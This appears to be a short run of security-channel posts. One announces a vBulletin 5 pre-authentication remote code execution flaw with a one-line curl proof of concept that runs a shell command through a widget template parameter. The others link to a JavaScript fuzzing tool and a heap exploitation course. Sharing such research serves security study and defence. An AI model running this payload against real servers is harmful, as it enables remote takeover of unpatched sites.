A new pre-auth 0day RCE exploit for vBulletin 5:

https://blog.exploitee.rs/2020/exploiting-vbulletin-a-tale-of-patch-fail/

POC: curl -s https://SITE/ajax/render/widget_tabbedcontainer_tab_panel -d 'subWidgets[0][template]=widget_php&subWidgets[0][config][code]=echo%20shell_exec("id"); exit;'

#web #expdev #rce #0day #darw1n @securation

Fuzzing JavaScript Engines with Aspect-preserving Mutation

https://github.com/sslab-gatech/DIE

#reverse #expdev #fuzzing #javascript @securation

⭕️ منبع جامعی درمورد تمرین و یادگیری heap exploitation از تیم شل فیش

https://github.com/shellphish/how2heap

#heap #expdev
@securation